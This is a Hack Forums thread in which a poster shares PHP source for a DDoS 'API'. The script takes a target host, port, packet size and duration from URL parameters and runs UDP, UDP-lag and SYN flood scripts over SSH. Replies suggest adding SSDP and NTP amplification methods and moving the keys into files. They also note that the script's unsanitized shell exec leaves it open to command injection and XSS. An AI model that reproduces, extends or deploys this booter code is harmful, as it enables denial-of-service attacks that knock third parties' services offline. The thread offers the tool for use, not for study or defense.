

Forum:[Hack Forums](#)

Thread: [DDoS API Script \[3 Attack Functions\]](#)

Flacko. - January 26, 2015, 9:48 pm

Coded this in a little bit of time for fun. This is very simple to use, all you have to do is edit the server functions and your command functions.

API Code

```
Code <?php
//Coded by: Tosca
//Release: 1/26/2015
$apikey1 = "7322981105"; //APIKey1
$apikey2 = "2129540433"; //APIKey2
$apikey3 = "2IGBEIRGH2"; //APIKey3
$apikey4 = "645R4HD6F5"; //APIKey4
$apikey5 = "34T65344HH"; //APIKey5
$maxtime = "20001"; //MAX BOOT TIME
$maxtime1 = "20,000"; //Shows what max time is.
$cmd = "perl Viking.pl"; //DDoS Script being executed to server.
$cmd2 = "perl Lag.pl"; //DDoS Script being executed to server.
$cmd3 = "perl SSYN.pl"; //DDoS Script being executed to server.
$methods = "3"; //How many attack methods.
$method = $_GET['method']; //Gets method from link
$host = $_GET['host']; //Gets host from link
$port = $_GET['port']; //Gets port from link
$byte = $_GET['byte']; //Gets byte from link
$time = $_GET['time']; //Gets time from link
$apikey = $_GET['apikey']; //Gets apikey from link
include('Net/SSH2.php'); //Gets main scripts.
?>

<?php
if ($apikey == null) {
    ob_end_clean();
    echo '<font color="red">ERROR</font>: Enter your API Key.</font>';
} else {
}
?>

<?php
if ($apikey == $apikey1 || $apikey == $apikey2 || $apikey == $apikey3 || $apikey == $apikey4 ||
$apikey == $apikey5) {
    if ($method >= $methods) {
        echo "Invalid attack method.";
    } else {
        $ssh = new Net_SSH2('127.0.0.0');
        if (!$ssh->login('root', 'password')) {
            exit('Login Failed');
        } else {
```

```

if ($method == null) {
    echo '<font color="red">Syntax Error, enter a method.</font> </br>';
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1
</br>";
    echo "METHOD 1 = UDP </br>";
    echo "METHOD 2 = UDPLAG </br>";
    echo "METHOD 3 = SSYN";
} else {
    if ($method == "1") {
        if ($host == null) {
            echo '<font color="red">Syntax Error, no host entered.</font>';
            echo "</br>";
            echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1
</br>";
        } else {
            if ($port == null) {
                echo '<font color="red">Syntax Error, no port entered.</font>';
                echo "</br>";
                echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1
</br>";
            } else {
                if ($byte == null) {
                    echo '<font color="red">Syntax Error, no packet size entered.</font>';
                    echo "</br>";
                    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1
</br>";
                } else {
                    if ($time == null) {
                        echo '<font color="red">Syntax Error, no time entered.</font>';
                        echo "</br>";
                        echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1
</br>";
                    } else {
                        if ($host == "76.94.61.108") {
                            echo '<font color="black">IP Address ' . $host . ' is blacklisted.</font>';
                        } else {
                            if ($time >= $maxtime) {
                                echo '<font color="black">Syntax Error, max boot time is ' . $maxtime1 . ' seconds.</font>';
                            } else {
                                $ssh->exec(" . $cmd . ' ' . $host . ' ' . $port . ' ' . $byte . ' ' . $time . ");
                                echo 'UDP: Attack successfully sent to ' . $host . ' ';
                            }
                        }
                    }
                }
            }
        }
    }
    if ($method == "2") {
        if ($host == null) {
            echo '<font color="red">Syntax Error, no host entered.</font>';
            echo "</br>";
            echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1

```

```

</br>";
    } else {
    if ($port == null) {
    echo '<font color="red">Syntax Error, no port entered.</font>';
    echo "</br>";
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1
</br>";
    } else {
    if ($byte == null) {
    echo '<font color="red">Syntax Error, no packet size entered.</font>';
    echo "</br>";
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1
</br>";
    } else {
    if ($time == null) {
    echo '<font color="red">Syntax Error, no time entered.</font>';
    echo "</br>";
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1
</br>";
    } else {
    if ($host == "76.94.61.108") {
    echo '<font color="black">IP Address ' . $host . ' is blacklisted.</font>';
    } else {
    if ($time >= $maxtime) {
    echo '<font color="black">Syntax Error, max boot time is ' . $maxtime1 . ' seconds.</font>';
    } else {
    $ssh->exec(" . $cmd . ' ' . $host . ' ' . $port . ' ' . $byte . ' ' . $time . ");
    echo 'UDPLAG: Attack successfully sent to ' . $host . ' ';
    }
    }
    }
    }
    }
    }
    if ($method == "3") {
    if ($host == null) {
    echo '<font color="red">Syntax Error, no host entered.</font>';
    echo "</br>";
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1
</br>";
    } else {
    if ($port == null) {
    echo '<font color="red">Syntax Error, no port entered.</font>';
    echo "</br>";
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1
</br>";
    } else {
    if ($byte == null) {
    echo '<font color="red">Syntax Error, no packet size entered.</font>';
    echo "</br>";
    echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1
</br>";

```



```

    'key3'
];

$key = $_GET['apiKey'];

if(in_array($key, $apiKey) {
    // all the stuff
}

```

2. Implement functions because even scrolling through it, there seems to be a bunch of duplicate code.

vercenta - January 27, 2015, 12:15 am

There is a few issues here... You need to learn about arrays instead of hard coding 50 variables, also your code is highly insecure.

Instead of writing all the valid keys/methods/other data inside the actual PHP file store it in something like a text file with all the needed variables for that persons key (Not in /var/www/html or set .htaccess)

```

Code 2129540433 [Concurrents] [Stress Time] [Expires]
2IGBEIRGH2 [Concurrents] [Stress Time] [Expires]
645R4HD6F5 [Concurrents] [Stress Time] [Expires]
34T65344HH [Concurrents] [Stress Time] [Expires]
Then just loop through each key and if it matches the $_GET['key'] you throw up the other variables
and do other filters from there.

```

Do the same thing with your methods, store them to make your API flexible.

```

Code Method[SSDP];./SSDP %host %port sdp.txt 25 %time
Method[NTP];./ntp %host %port ntp.txt 25 -1 %time
Then do replaces with the % variables like... %port = (int)$_GET['port']

```

Then if you want to add new methods/keys you just edit the data files while your php script will remain the same.

Also, you are not sanitizing your inputs at all... Checking if it's null is not gonna help..
 \$_GET['time'] & \$_GET['port'] should automatically be integers, \$_GET['host'] you should validate the IP and from then on you should just be replacing data from your method file, don't give the user any chance to mess with the shell code.

SIM-1073426 - January 27, 2015, 7:58 am

Nice vulnerable to RCE and XSS and the source looks horrible. Lol